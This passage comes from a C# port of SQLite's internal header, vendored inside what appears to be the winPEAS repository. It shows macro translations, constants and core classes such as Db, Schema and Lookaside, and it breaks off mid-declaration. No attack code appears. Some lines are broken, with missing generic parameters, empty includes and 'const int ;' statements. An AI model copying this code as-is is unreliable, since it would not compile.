sqlite3_prepare16_v2 sqlite3_api.prepare16_v2 //#define sqlite3_profile sqlite3_api.profile //#define sqlite3_progress_handler sqlite3_api.progress_handler //#define sqlite3_realloc sqlite3_api->realloc //#define sqlite3_reset sqlite3_api->reset //#define sqlite3_result_blob sqlite3_api->result_blob //#define sqlite3_result_double sqlite3_api->result_double //#define sqlite3_result_error sqlite3_api->result_error //#define sqlite3_result_error16 sqlite3_api->result_error16 //#define sqlite3_result_int sqlite3_api->result_int //#define sqlite3_result_int64 sqlite3_api->result_int64 //#define sqlite3_result_null sqlite3_api->result_null //#define sqlite3_result_text sqlite3_api->result_text //#define sqlite3_result_text16 sqlite3_api->result_text16 //#define sqlite3_result_text16be sqlite3_api->result_text16be //#define sqlite3_result_text16le sqlite3_api->result_text16le //#define sqlite3_result_value sqlite3_api->result_value //#define sqlite3_rollback_hook sqlite3_api->rollback_hook //#define sqlite3_set_authorizer sqlite3_api->set_authorizer //#define sqlite3_set_auxdata sqlite3_api->set_auxdata //#define sqlite3_snprintf sqlite3_api->snprintf //#define sqlite3_step sqlite3_api->step //#define sqlite3_table_column_metadata sqlite3_api->table_column_metadata //#define sqlite3_thread_cleanup sqlite3_api->thread_cleanup //#define sqlite3_total_changes sqlite3_api->total_changes //#define sqlite3_trace sqlite3_api->trace #if !SQLITE_OMIT_DEPRECATED //#define sqlite3_transfer_bindings sqlite3_api->transfer_bindings #endif //#define sqlite3_update_hook sqlite3_api->update_hook //#define sqlite3_user_data sqlite3_api->user_data //#define sqlite3_value_blob sqlite3_api->value_blob //#define sqlite3_value_bytes sqlite3_api->value_bytes //#define sqlite3_value_bytes16 sqlite3_api->value_bytes16 //#define sqlite3_value_double sqlite3_api->value_double //#define sqlite3_value_int sqlite3_api->value_int //#define sqlite3_value_int64 sqlite3_api->value_int64 //#define sqlite3_value_numeric_type sqlite3_api->value_numeric_type //#define sqlite3_value_text sqlite3_api->value_text //#define sqlite3_value_text16 sqlite3_api->value_text16 //#define sqlite3_value_text16be sqlite3_api->value_text16be //#define sqlite3_value_text16le sqlite3_api->value_text16le //#define sqlite3_value_type sqlite3_api->value_type //#define sqlite3_vmprintf sqlite3_api->vmprintf //#define sqlite3_overload_function sqlite3_api->overload_function //#define sqlite3_prepare_v2 sqlite3_api.prepare_v2 //#define sqlite3_prepare16_v2 sqlite3_api.prepare16_v2 //#define sqlite3_clear_bindings sqlite3_api->clear_bindings //#define sqlite3_bind_zeroblob sqlite3_api->bind_zeroblob //#define sqlite3_blob_bytes sqlite3_api->blob_bytes //#define sqlite3_blob_close sqlite3_api->blob_close //#define sqlite3_blob_open sqlite3_api->blob_open //#define sqlite3_blob_read sqlite3_api->blob_read //#define sqlite3_blob_write sqlite3_api->blob_write //#define sqlite3_create_collation_v2 sqlite3_api->create_collation_v2 //#define sqlite3_file_control sqlite3_api->file_control //#define sqlite3_memory_highwater sqlite3_api->memory_highwater //#define sqlite3_memory_used sqlite3_api->memory_used //#define sqlite3MutexAlloc sqlite3_api->mutex_alloc //#define sqlite3_mutex_enter sqlite3_api->mutex_enter //#define sqlite3_mutex_free sqlite3_api->mutex_free //#define sqlite3_mutex_leave sqlite3_api->mutex_leave //#define sqlite3_mutex_try sqlite3_api->mutex_try //#define sqlite3_open_v2 sqlite3_api.open_v2 //#define sqlite3_release_memory sqlite3_api->release_memory //#define sqlite3_result_error_nomem sqlite3_api->result_error_nomem //#define sqlite3_result_error_toobig sqlite3_api->result_error_toobig //#define sqlite3_sleep sqlite3_api->sleep //#define sqlite3_soft_heap_limit sqlite3_api->soft_heap_limit //#define sqlite3_vfs_find sqlite3_api->vfs_find //#define sqlite3_vfs_register sqlite3_api->vfs_register //#define sqlite3_vfs_unregister sqlite3_api->vfs_unregister //#define sqlite3_threadsafe sqlite3_api->xthreadsafe //#define sqlite3_result_zeroblob sqlite3_api->result_zeroblob //#define sqlite3_result_error_code sqlite3_api->result_error_code //#define sqlite3_test_control sqlite3_api->test_control //#define sqlite3_randomness sqlite3_api->randomness //#define sqlite3_context_db_handle sqlite3_api->context_db_handle //#define sqlite3_extended_result_codes sqlite3_api->extended_result_codes //#define sqlite3_limit sqlite3_api->limit //#define sqlite3_next_stmt sqlite3_api->next_stmt //#define sqlite3_sql sqlite3_api->sql //#define sqlite3_status sqlite3_api->status #endif //* SQLITE_CORE */ //#define SQLITE_EXTENSION_INIT1 const sqlite3_api_routines *sqlite3_api = 0; //#define SQLITE_EXTENSION_INIT2(v) sqlite3_api = v; #endif //* _SQLITE3EXT_H_ */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/sqliteInt_h.cs ================================================ #define SQLITE_MAX_EXPR_DEPTH using System; using System.Diagnostics; using System.Text; using Bitmask = System.UInt64; using i16 = System.Int16; using i64 = System.Int64; using sqlite3_int64 = System.Int64; using u8 = System.Byte; using u16 = System.UInt16; using u32 = System.UInt32; using u64 = System.UInt64; namespace winPEAS._3rdParty.SQLite.src { using sqlite3_value = CSSQLite.Mem; public partial class CSSQLite { /* ** 2001 September 15 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** Internal interface definitions for SQLite. ** ** @(#) $Id: sqliteInt.h,v 1.898 2009/08/10 03:57:58 shane Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#if !_SQLITEINT_H_ //#define _SQLITEINT_H_ /* ** Include the configuration header output by 'configure' if we're using the ** autoconf-based build */ #if _HAVE_SQLITE_CONFIG_H //#include "config.h" #endif //#include "sqliteLimit.h" /* Disable nuisance warnings on Borland compilers */ //#if defined(__BORLANDC__) //#pragma warn -rch /* unreachable code */ //#pragma warn -ccc /* Condition is always true or false */ //#pragma warn -aus /* Assigned value is never used */ //#pragma warn -csu /* Comparing signed and unsigned */ //#pragma warn -spa /* Suspicious pointer arithmetic */ //#endif /* Needed for various definitions... */ //#if !_GNU_SOURCE //#define _GNU_SOURCE //#endif /* ** Include standard header files as necessary */ #if HAVE_STDINT_H //#include #endif #if HAVE_INTTYPES_H //#include #endif /* ** This macro is used to "hide" some ugliness in casting an int ** value to a ptr value under the MSVC 64-bit compiler. Casting ** non 64-bit values to ptr types results in a "hard" error with ** the MSVC 64-bit compiler which this attempts to avoid. ** ** A simple compiler pragma or casting sequence could not be found ** to correct this in all situations, so this macro was introduced. ** ** It could be argued that the intptr_t type could be used in this ** case, but that type is not available on all compilers, or ** requires the #include of specific headers which differs between ** platforms. ** ** Ticket #3860: The llvm-gcc-4.2 compiler from Apple chokes on ** the ((void*)&((char*)0)[X]) construct. But MSVC chokes on ((void*)(X)). ** So we have to define the macros in different ways depending on the ** compiler. */ //#if defined(__GNUC__) //# if defined(HAVE_STDINT_H) //# define SQLITE_INT_TO_PTR(X) ((void*)(intptr_t)(X)) //# define SQLITE_PTR_TO_INT(X) ((int)(intptr_t)(X)) //# else //# define SQLITE_INT_TO_PTR(X) ((void*)(X)) //# define SQLITE_PTR_TO_INT(X) ((int)(X)) //# endif //#else //# define SQLITE_INT_TO_PTR(X) ((void*)&((char*)0)[X]) //# define SQLITE_PTR_TO_INT(X) ((int)(((char*)X)-(char*)0)) //#endif /* ** These #defines should enable >2GB file support on POSIX if the ** underlying operating system supports it. If the OS lacks ** large file support, or if the OS is windows, these should be no-ops. ** ** Ticket #2739: The _LARGEFILE_SOURCE macro must appear before any ** system #includes. Hence, this block of code must be the very first ** code in all source files. ** ** Large file support can be disabled using the -DSQLITE_DISABLE_LFS switch ** on the compiler command line. This is necessary if you are compiling ** on a recent machine (ex: RedHat 7.2) but you want your code to work ** on an older machine (ex: RedHat 6.0). If you compile on RedHat 7.2 ** without this option, LFS is enable. But LFS does not exist in the kernel ** in RedHat 6.0, so the code won't work. Hence, for maximum binary ** portability you should omit LFS. ** ** Similar is true for Mac OS X. LFS is only supported on Mac OS X 9 and later. */ #if !SQLITE_DISABLE_LFS const int _LARGE_FILE = 1;//# define _LARGE_FILE 1 #if !_FILE_OFFSET_BITS const int _FILE_OFFSET_BITS = 64;//# define _FILE_OFFSET_BITS 64 # endif const int _LARGEFILE_SOURCE = 1; //# define _LARGEFILE_SOURCE 1 #endif /* ** The SQLITE_THREADSAFE macro must be defined as either 0 or 1. ** Older versions of SQLite used an optional THREADSAFE macro. ** We support that for legacy */ #if !SQLITE_THREADSAFE #if THREADSAFE //# define SQLITE_THREADSAFE THREADSAFE #else //# define SQLITE_THREADSAFE 1 const int SQLITE_THREADSAFE = 1; #endif #else const int SQLITE_THREADSAFE = 1; #endif /* ** The SQLITE_DEFAULT_MEMSTATUS macro must be defined as either 0 or 1. ** It determines whether or not the features related to ** SQLITE_CONFIG_MEMSTATUS are available by default or not. This value can ** be overridden at runtime using the sqlite3_config() API. */ #if !(SQLITE_DEFAULT_MEMSTATUS) //# define SQLITE_DEFAULT_MEMSTATUS 1 const int SQLITE_DEFAULT_MEMSTATUS = 1; #endif /* ** Exactly one of the following macros must be defined in order to ** specify which memory allocation subsystem to use. ** ** SQLITE_SYSTEM_MALLOC // Use normal system malloc() ** SQLITE_MEMDEBUG // Debugging version of system malloc() ** SQLITE_MEMORY_SIZE // internal allocator #1 ** SQLITE_MMAP_HEAP_SIZE // internal mmap() allocator ** SQLITE_POW2_MEMORY_SIZE // internal power-of-two allocator ** ** If none of the above are defined, then set SQLITE_SYSTEM_MALLOC as ** the default. */ //#if defined(SQLITE_SYSTEM_MALLOC)+defined(SQLITE_MEMDEBUG)+\ // defined(SQLITE_MEMORY_SIZE)+defined(SQLITE_MMAP_HEAP_SIZE)+\ // defined(SQLITE_POW2_MEMORY_SIZE)>1 //# error "At most one of the following compile-time configuration options\ // is allows: SQLITE_SYSTEM_MALLOC, SQLITE_MEMDEBUG, SQLITE_MEMORY_SIZE,\ // SQLITE_MMAP_HEAP_SIZE, SQLITE_POW2_MEMORY_SIZE" //#endif //#if defined(SQLITE_SYSTEM_MALLOC)+defined(SQLITE_MEMDEBUG)+\ // defined(SQLITE_MEMORY_SIZE)+defined(SQLITE_MMAP_HEAP_SIZE)+\ // defined(SQLITE_POW2_MEMORY_SIZE)==0 //# define SQLITE_SYSTEM_MALLOC 1 //#endif /* ** If SQLITE_MALLOC_SOFT_LIMIT is not zero, then try to keep the ** sizes of memory allocations below this value where possible. */ #if !(SQLITE_MALLOC_SOFT_LIMIT) const int SQLITE_MALLOC_SOFT_LIMIT = 1024; #endif /* ** We need to define _XOPEN_SOURCE as follows in order to enable ** recursive mutexes on most Unix systems. But Mac OS X is different. ** The _XOPEN_SOURCE define causes problems for Mac OS X we are told, ** so it is omitted there. See ticket #2673. ** ** Later we learn that _XOPEN_SOURCE is poorly or incorrectly ** implemented on some systems. So we avoid defining it at all ** if it is already defined or if it is unneeded because we are ** not doing a threadsafe build. Ticket #2681. ** ** See also ticket #2741. */ #if !_XOPEN_SOURCE && !__DARWIN__ && !__APPLE__ && SQLITE_THREADSAFE const int _XOPEN_SOURCE = 500;//#define _XOPEN_SOURCE 500 /* Needed to enable pthread recursive mutexes */ #endif /* ** The TCL headers are only needed when compiling the TCL bindings. */ #if SQLITE_TCL || TCLSH //# include #endif /* ** Many people are failing to set -DNDEBUG=1 when compiling SQLite. ** Setting NDEBUG makes the code smaller and run faster. So the following ** lines are added to automatically set NDEBUG unless the -DSQLITE_DEBUG=1 ** option is set. Thus NDEBUG becomes an opt-in rather than an opt-out ** feature. */ #if !NDEBUG && !SQLITE_DEBUG const int NDEBUG = 1;//# define NDEBUG 1 #endif /* ** The testcase() macro is used to aid in coverage testing. When ** doing coverage testing, the condition inside the argument to ** testcase() must be evaluated both true and false in order to ** get full branch coverage. The testcase() macro is inserted ** to help ensure adequate test coverage in places where simple ** condition/decision coverage is inadequate. For example, testcase() ** can be used to make sure boundary values are tested. For ** bitmask tests, testcase() can be used to make sure each bit ** is significant and used at least once. On switch statements ** where multiple cases go to the same block of code, testcase() ** can insure that all cases are evaluated. ** */ #if SQLITE_COVERAGE_TEST void sqlite3Coverage(int); //# define testcase(X) if( X ){ sqlite3Coverage(__LINE__); } #else //# define testcase(X) static void testcase( T X ) { } #endif /* ** The TESTONLY macro is used to enclose variable declarations or ** other bits of code that are needed to support the arguments ** within testcase() and assert() macros. */ #if !NDEBUG || SQLITE_COVERAGE_TEST //# define TESTONLY(X) X // -- Need workaround for C#, since inline macros don't exist #else //# define TESTONLY(X) #endif /* ** Sometimes we need a small amount of code such as a variable initialization ** to setup for a later assert() statement. We do not want this code to ** appear when assert() is disabled. The following macro is therefore ** used to contain that setup code. The "VVA" acronym stands for ** "Verification, Validation, and Accreditation". In other words, the ** code within VVA_ONLY() will only run during verification processes. */ #if !NDEBUG //# define VVA_ONLY(X) X #else //# define VVA_ONLY(X) #endif /* ** The ALWAYS and NEVER macros surround boolean expressions which ** are intended to always be true or false, respectively. Such ** expressions could be omitted from the code completely. But they ** are included in a few cases in order to enhance the resilience ** of SQLite to unexpected behavior - to make the code "self-healing" ** or "ductile" rather than being "brittle" and crashing at the first ** hint of unplanned behavior. ** ** In other words, ALWAYS and NEVER are added for defensive code. ** ** When doing coverage testing ALWAYS and NEVER are hard-coded to ** be true and false so that the unreachable code then specify will ** not be counted as untested code. */ #if SQLITE_COVERAGE_TEST //# define ALWAYS(X) (1) //# define NEVER(X) (0) #elif !NDEBUG //# define ALWAYS(X) ((X)?1:(assert(0),0)) static bool ALWAYS( bool X ) { if ( X != true ) Debug.Assert( false ); return true; } static int ALWAYS( int X ) { if ( X == 0 ) Debug.Assert( false ); return 1; } static bool ALWAYS( T X ) { if ( X == null ) Debug.Assert( false ); return true; } //# define NEVER(X) ((X)?(assert(0),1):0) static bool NEVER( bool X ) { if ( X == true ) Debug.Assert( false ); return false; } static byte NEVER( byte X ) { if ( X != 0 ) Debug.Assert( false ); return 0; } static int NEVER( int X ) { if ( X != 0 ) Debug.Assert( false ); return 0; } static bool NEVER( T X ) { if ( X != null ) Debug.Assert( false ); return false; } #else //# define ALWAYS(X) (X) static bool ALWAYS(bool X) { return X; } static byte ALWAYS(byte X) { return X; } static int ALWAYS(int X) { return X; } static bool ALWAYS( T X ) { return true; } //# define NEVER(X) (X) static bool NEVER(bool X) { return X; } static byte NEVER(byte X) { return X; } static int NEVER(int X) { return X; } static bool NEVER(T X) { return false; } #endif /* ** The macro unlikely() is a hint that surrounds a boolean ** expression that is usually false. Macro likely() surrounds ** a boolean expression that is usually true. GCC is able to ** use these hints to generate better code, sometimes. */ #if (__GNUC__) && FALSE //# define likely(X) __builtin_expect((X),1) //# define unlikely(X) __builtin_expect((X),0) #else //# define likely(X) !!(X) static bool likely( bool X ) { return !!X; } //# define unlikely(X) !!(X) static bool unlikely( bool X ) { return !!X; } #endif //#include "sqlite3.h" //#include "hash.h" //#include "parse.h" //#include //#include //#include //#include //#include /* ** If compiling for a processor that lacks floating point support, ** substitute integer for floating-point */ #if SQLITE_OMIT_FLOATING_POINT //# define double sqlite_int64 //# define LONGDOUBLE_TYPE sqlite_int64 //#if !SQLITE_BIG_DBL //# define SQLITE_BIG_DBL (((sqlite3_int64)1)<<60) //# endif //# define SQLITE_OMIT_DATETIME_FUNCS 1 //# define SQLITE_OMIT_TRACE 1 //# undef SQLITE_MIXED_ENDIAN_64BIT_FLOAT //# undef SQLITE_HAVE_ISNAN #endif #if !SQLITE_BIG_DBL const double SQLITE_BIG_DBL = ( ( (sqlite3_int64)1 ) << 60 );//# define SQLITE_BIG_DBL (1e99) #endif /* ** OMIT_TEMPDB is set to 1 if SQLITE_OMIT_TEMPDB is defined, or 0 ** afterward. Having this macro allows us to cause the C compiler ** to omit code used by TEMP tables without messy #if !statements. */ #if SQLITE_OMIT_TEMPDB //#define OMIT_TEMPDB 1 #else static int OMIT_TEMPDB = 0; #endif /* ** If the following macro is set to 1, then NULL values are considered ** distinct when determining whether or not two entries are the same ** in a UNIQUE index. This is the way PostgreSQL, Oracle, DB2, MySQL, ** OCELOT, and Firebird all work. The SQL92 spec explicitly says this ** is the way things are suppose to work. ** ** If the following macro is set to 0, the NULLs are indistinct for ** a UNIQUE index. In this mode, you can only have a single NULL entry ** for a column declared UNIQUE. This is the way Informix and SQL Server ** work. */ const int NULL_DISTINCT_FOR_UNIQUE = 1; /* ** The "file format" number is an integer that is incremented whenever ** the VDBE-level file format changes. The following macros define the ** the default file format for new databases and the maximum file format ** that the library can read. */ public static int SQLITE_MAX_FILE_FORMAT = 4;//#define SQLITE_MAX_FILE_FORMAT 4 #if !SQLITE_DEFAULT_FILE_FORMAT static int SQLITE_DEFAULT_FILE_FORMAT = 1;//# define SQLITE_DEFAULT_FILE_FORMAT 1 #endif /* ** Provide a default value for SQLITE_TEMP_STORE in case it is not specified ** on the command-line */ #if !SQLITE_TEMP_STORE static int SQLITE_TEMP_STORE = 1;//#define SQLITE_TEMP_STORE 1 #endif /* ** GCC does not define the offsetof() macro so we'll have to do it ** ourselves. */ #if !offsetof //#define offsetof(STRUCTURE,FIELD) ((int)((char*)&((STRUCTURE*)0)->FIELD)) #endif /* ** Check to see if this machine uses EBCDIC. (Yes, believe it or ** not, there are still machines out there that use EBCDIC.) */ #if FALSE //'A' == '\301' //# define SQLITE_EBCDIC 1 #else const int SQLITE_ASCII = 1;//#define SQLITE_ASCII 1 #endif /* ** Integers of known sizes. These typedefs might change for architectures ** where the sizes very. Preprocessor macros are available so that the ** types can be conveniently redefined at compile-type. Like this: ** ** cc '-Du32PTR_TYPE=long long int' ... */ //#if !u32_TYPE //# ifdef HAVE_u32_T //# define u32_TYPE u32_t //# else //# define u32_TYPE unsigned int //# endif //#endif //#if !u3216_TYPE //# ifdef HAVE_u3216_T //# define u3216_TYPE u3216_t //# else //# define u3216_TYPE unsigned short int //# endif //#endif //#if !INT16_TYPE //# ifdef HAVE_INT16_T //# define INT16_TYPE int16_t //# else //# define INT16_TYPE short int //# endif //#endif //#if !u328_TYPE //# ifdef HAVE_u328_T //# define u328_TYPE u328_t //# else //# define u328_TYPE unsigned char //# endif //#endif //#if !INT8_TYPE //# ifdef HAVE_INT8_T //# define INT8_TYPE int8_t //# else //# define INT8_TYPE signed char //# endif //#endif //#if !LONGDOUBLE_TYPE //# define LONGDOUBLE_TYPE long double //#endif //typedef sqlite_int64 i64; /* 8-byte signed integer */ //typedef sqlite_u3264 u64; /* 8-byte unsigned integer */ //typedef u32_TYPE u32; /* 4-byte unsigned integer */ //typedef u3216_TYPE u16; /* 2-byte unsigned integer */ //typedef INT16_TYPE i16; /* 2-byte signed integer */ //typedef u328_TYPE u8; /* 1-byte unsigned integer */ //typedef INT8_TYPE i8; /* 1-byte signed integer */ /* ** SQLITE_MAX_U32 is a u64 constant that is the maximum u64 value ** that can be stored in a u32 without loss of data. The value ** is 0x00000000ffffffff. But because of quirks of some compilers, we ** have to specify the value in the less intuitive manner shown: */ //#define SQLITE_MAX_U32 ((((u64)1)<<32)-1) const u32 SQLITE_MAX_U32 = (u32)( ( ( (u64)1 ) << 32 ) - 1 ); /* ** Macros to determine whether the machine is big or little endian, ** evaluated at runtime. */ #if SQLITE_AMALGAMATION //const int sqlite3one = 1; #else const bool sqlite3one = true; #endif #if i386 || __i386__ || _M_IX86 const int ;//#define SQLITE_BIGENDIAN 0 const int ;//#define SQLITE_LITTLEENDIAN 1 const int ;//#define SQLITE_UTF16NATIVE SQLITE_UTF16LE #else static u8 SQLITE_BIGENDIAN = 0;//#define SQLITE_BIGENDIAN (*(char *)(&sqlite3one)==0) static u8 SQLITE_LITTLEENDIAN = 1;//#define SQLITE_LITTLEENDIAN (*(char *)(&sqlite3one)==1) static u8 SQLITE_UTF16NATIVE = ( SQLITE_BIGENDIAN != 0 ? SQLITE_UTF16BE : SQLITE_UTF16LE );//#define SQLITE_UTF16NATIVE (SQLITE_BIGENDIAN?SQLITE_UTF16BE:SQLITE_UTF16LE) #endif /* ** Constants for the largest and smallest possible 64-bit signed integers. ** These macros are designed to work correctly on both 32-bit and 64-bit ** compilers. */ //#define LARGEST_INT64 (0xffffffff|(((i64)0x7fffffff)<<32)) //#define SMALLEST_INT64 (((i64)-1) - LARGEST_INT64) const i64 LARGEST_INT64 = i64.MaxValue;//( 0xffffffff | ( ( (i64)0x7fffffff ) << 32 ) ); const i64 SMALLEST_INT64 = i64.MinValue;//( ( ( i64 ) - 1 ) - LARGEST_INT64 ); /* ** Round up a number to the next larger multiple of 8. This is used ** to force 8-byte alignment on 64-bit architectures. */ //#define ROUND8(x) (((x)+7)&~7) static int ROUND8( int x ) { return ( x + 7 ) & ~7; } /* ** Round down to the nearest multiple of 8 */ //#define ROUNDDOWN8(x) ((x)&~7) static int ROUNDDOWN8( int x ) { return x & ~7; } /* ** Assert that the pointer X is aligned to an 8-byte boundary. */ //#define EIGHT_BYTE_ALIGNMENT(X) ((((char*)(X) - (char*)0)&7)==0) /* ** An instance of the following structure is used to store the busy-handler ** callback for a given sqlite handle. ** ** The sqlite.busyHandler member of the sqlite struct contains the busy ** callback for the database handle. Each pager opened via the sqlite ** handle is passed a pointer to sqlite.busyHandler. The busy-handler ** callback is currently invoked only from within pager.c. */ //typedef struct BusyHandler BusyHandler; public class BusyHandler { public dxBusy xFunc;//)(void *,int); /* The busy callback */ public object pArg; /* First arg to busy callback */ public int nBusy; /* Incremented with each busy call */ }; /* ** Name of the master database table. The master database table ** is a special table that holds the names and attributes of all ** user tables and indices. */ const string MASTER_NAME = "sqlite_master";//#define MASTER_NAME "sqlite_master" const string TEMP_MASTER_NAME = "sqlite_temp_master";//#define TEMP_MASTER_NAME "sqlite_temp_master" /* ** The root-page of the master database table. */ const int MASTER_ROOT = 1;//#define MASTER_ROOT 1 /* ** The name of the schema table. */ static string SCHEMA_TABLE( int x ) //#define SCHEMA_TABLE(x) ((!OMIT_TEMPDB)&&(x==1)?TEMP_MASTER_NAME:MASTER_NAME) { return ( ( OMIT_TEMPDB == 0 ) && ( x == 1 ) ? TEMP_MASTER_NAME : MASTER_NAME ); } /* ** A convenience macro that returns the number of elements in ** an array. */ //#define ArraySize(X) ((int)(sizeof(X)/sizeof(X[0]))) static int ArraySize( T[] x ) { return x.Length; } /* ** The following value as a destructor means to use //sqlite3DbFree(). ** This is an internal extension to SQLITE_STATIC and SQLITE_TRANSIENT. */ //#define SQLITE_DYNAMIC ((sqlite3_destructor_type)//sqlite3DbFree) static dxDel SQLITE_DYNAMIC; /* ** When SQLITE_OMIT_WSD is defined, it means that the target platform does ** not support Writable Static Data (WSD) such as global and static variables. ** All variables must either be on the stack or dynamically allocated from ** the heap. When WSD is unsupported, the variable declarations scattered ** throughout the SQLite code must become constants instead. The SQLITE_WSD ** macro is used for this purpose. And instead of referencing the variable ** directly, we use its constant as a key to lookup the run-time allocated ** buffer that holds real variable. The constant is also the initializer ** for the run-time allocated buffer. ** ** In the usual case where WSD is supported, the SQLITE_WSD and GLOBAL ** macros become no-ops and have zero performance impact. */ #if SQLITE_OMIT_WSD //#define SQLITE_WSD const //#define GLOBAL(t,v) (*(t*)sqlite3_wsd_find((void*)&(v), sizeof(v))) //#define sqlite3GlobalConfig GLOBAL(struct Sqlite3Config, sqlite3Config) int sqlite3_wsd_init(int N, int J); void *sqlite3_wsd_find(void *K, int L); #else //#define SQLITE_WSD //#define GLOBAL(t,v) v //#define sqlite3GlobalConfig sqlite3Config static Sqlite3Config sqlite3GlobalConfig; #endif /* ** The following macros are used to suppress compiler warnings and to ** make it clear to human readers when a function parameter is deliberately ** left unused within the body of a function. This usually happens when ** a function is called via a function pointer. For example the ** implementation of an SQL aggregate step callback may not use the ** parameter indicating the number of arguments passed to the aggregate, ** if it knows that this is enforced elsewhere. ** ** When a function parameter is not used at all within the body of a function, ** it is generally named "NotUsed" or "NotUsed2" to make things even clearer. ** However, these macros may also be used to suppress warnings related to ** parameters that may or may not be used depending on compilation options. ** For example those parameters only used in assert() statements. In these ** cases the parameters are named as per the usual conventions. */ //#define UNUSED_PARAMETER(x) (void)(x) static void UNUSED_PARAMETER( T x ) { } //#define UNUSED_PARAMETER2(x,y) UNUSED_PARAMETER(x),UNUSED_PARAMETER(y) static void UNUSED_PARAMETER2( T1 x, T2 y ) { UNUSED_PARAMETER( x ); UNUSED_PARAMETER( y ); } /* ** Forward references to structures */ //typedef struct AggInfo AggInfo; //typedef struct AuthContext AuthContext; //typedef struct AutoincInfo AutoincInfo; //typedef struct Bitvec Bitvec; //typedef struct RowSet RowSet; //typedef struct CollSeq CollSeq; //typedef struct Column Column; //typedef struct Db Db; //typedef struct Schema Schema; //typedef struct Expr Expr; //typedef struct ExprList ExprList; //typedef struct ExprSpan ExprSpan; //typedef struct FKey FKey; //typedef struct FuncDef FuncDef; //typedef struct IdList IdList; //typedef struct Index Index; //typedef struct KeyClass KeyClass; //typedef struct KeyInfo KeyInfo; //typedef struct Lookaside Lookaside; //typedef struct LookasideSlot LookasideSlot; //typedef struct Module Module; //typedef struct NameContext NameContext; //typedef struct Parse Parse; //typedef struct Savepoint Savepoint; //typedef struct Select Select; //typedef struct SrcList SrcList; //typedef struct StrAccum StrAccum; //typedef struct Table Table; //typedef struct TableLock TableLock; //typedef struct Token Token; //typedef struct TriggerStack TriggerStack; //typedef struct TriggerStep TriggerStep; //typedef struct Trigger Trigger; //typedef struct UnpackedRecord UnpackedRecord; //typedef struct VTable VTable; //typedef struct Walker Walker; //typedef struct WherePlan WherePlan; //typedef struct WhereInfo WhereInfo; //typedef struct WhereLevel WhereLevel; /* ** Defer sourcing vdbe.h and btree.h until after the "u8" and ** "BusyHandler" typedefs. vdbe.h also requires a few of the opaque ** pointer types (i.e. FuncDef) defined above. */ //#include "btree.h" //#include "vdbe.h" //#include "pager.h" //#include "pcache_g.h" //#include "os.h" //#include "mutex.h" /* ** Each database file to be accessed by the system is an instance ** of the following structure. There are normally two of these structures ** in the sqlite.aDb[] array. aDb[0] is the main database file and ** aDb[1] is the database file used to hold temporary tables. Additional ** databases may be attached. */ public class Db { public string zName; /* Name of this database */ public Btree pBt; /* The B Tree structure for this database file */ public u8 inTrans; /* 0: not writable. 1: Transaction. 2: Checkpoint */ public u8 safety_level; /* How aggressive at syncing data to disk */ public Schema pSchema; /* Pointer to database schema (possibly shared) */ }; /* ** An instance of the following structure stores a database schema. ** ** If there are no virtual tables configured in this schema, the ** Schema.db variable is set to NULL. After the first virtual table ** has been added, it is set to point to the database connection ** used to create the connection. Once a virtual table has been ** added to the Schema structure and the Schema.db variable populated, ** only that database connection may use the Schema to prepare ** statements. */ public class Schema { public int schema_cookie; /* Database schema version number for this file */ public Hash tblHash = new Hash(); /* All tables indexed by name */ public Hash idxHash = new Hash(); /* All (named) indices indexed by name */ public Hash trigHash = new Hash();/* All triggers indexed by name */ public Table pSeqTab; /* The sqlite_sequence table used by AUTOINCREMENT */ public u8 file_format; /* Schema format version for this file */ public u8 enc; /* Text encoding used by this database */ public u16 flags; /* Flags associated with this schema */ public int cache_size; /* Number of pages to use in the cache */ #if !SQLITE_OMIT_VIRTUALTABLE public sqlite3 db; /* "Owner" connection. See comment above */ #endif public Schema Copy() { if ( this == null ) return null; else { Schema cp = (Schema)MemberwiseClone(); return cp; } } }; /* ** These macros can be used to test, set, or clear bits in the ** Db.flags field. */ //#define DbHasProperty(D,I,P) (((D)->aDb[I].pSchema->flags&(P))==(P)) static bool DbHasProperty( sqlite3 D, int I, ushort P ) { return ( D.aDb[I].pSchema.flags & P ) == P; } //#define DbHasAnyProperty(D,I,P) (((D)->aDb[I].pSchema->flags&(P))!=0) //#define DbSetProperty(D,I,P) (D)->aDb[I].pSchema->flags|=(P) static void DbSetProperty( sqlite3 D, int I, ushort P ) { D.aDb[I].pSchema.flags = (u16)( D.aDb[I].pSchema.flags | P ); } //#define DbClearProperty(D,I,P) (D)->aDb[I].pSchema->flags&=~(P) static void DbClearProperty( sqlite3 D, int I, ushort P ) { D.aDb[I].pSchema.flags = (u16)( D.aDb[I].pSchema.flags & ~P ); } /* ** Allowed values for the DB.flags field. ** ** The DB_SchemaLoaded flag is set after the database schema has been ** read into internal hash tables. ** ** DB_UnresetViews means that one or more views have column names that ** have been filled out. If the schema changes, these column names might ** changes and so the view will need to be reset. */ //#define DB_SchemaLoaded 0x0001 /* The schema has been loaded */ //#define DB_UnresetViews 0x0002 /* Some views have defined column names */ //#define DB_Empty 0x0004 /* The file is empty (length 0 bytes) */ const u16 DB_SchemaLoaded = 0x0001; const u16 DB_UnresetViews = 0x0002; const u16 DB_Empty = 0x0004; /* ** The number of different kinds of things that can be limited ** using the sqlite3_limit() interface. */ //#define SQLITE_N_LIMIT (SQLITE_LIMIT_VARIABLE_NUMBER+1) const int SQLITE_N_LIMIT = SQLITE_LIMIT_VARIABLE_NUMBER + 1; /* ** Lookaside malloc is a set of fixed-size buffers that can be used ** to satisfy small transient memory allocation requests for objects ** associated with a particular database connection. The use of ** lookaside malloc provides a significant performance enhancement ** (approx 10%) by avoiding numerous malloc/free requests while parsing ** SQL statements. ** ** The Lookaside structure holds configuration information about the ** lookaside malloc subsystem. Each available memory allocation in ** the lookaside subsystem is stored on a linked list of LookasideSlot ** objects. ** ** Lookaside allocations are only allowed for objects that are associated ** with a particular database connection. Hence, schema information cannot ** be stored in lookaside because in shared cache mode the schema information ** is shared by multiple database connections. Therefore, while parsing ** schema information, the Lookaside.bEnabled flag is cleared so that ** lookaside allocations are not used to construct the schema objects. */ public class Lookaside { public int sz; /* Size of each buffer in bytes */ public u8 bEnabled; /* False to disable new lookaside allocations */ public bool bMalloced; /* True if pStart obtained from sqlite3_malloc() */ public int nOut; /* Number of buffers currently checked out */ public int 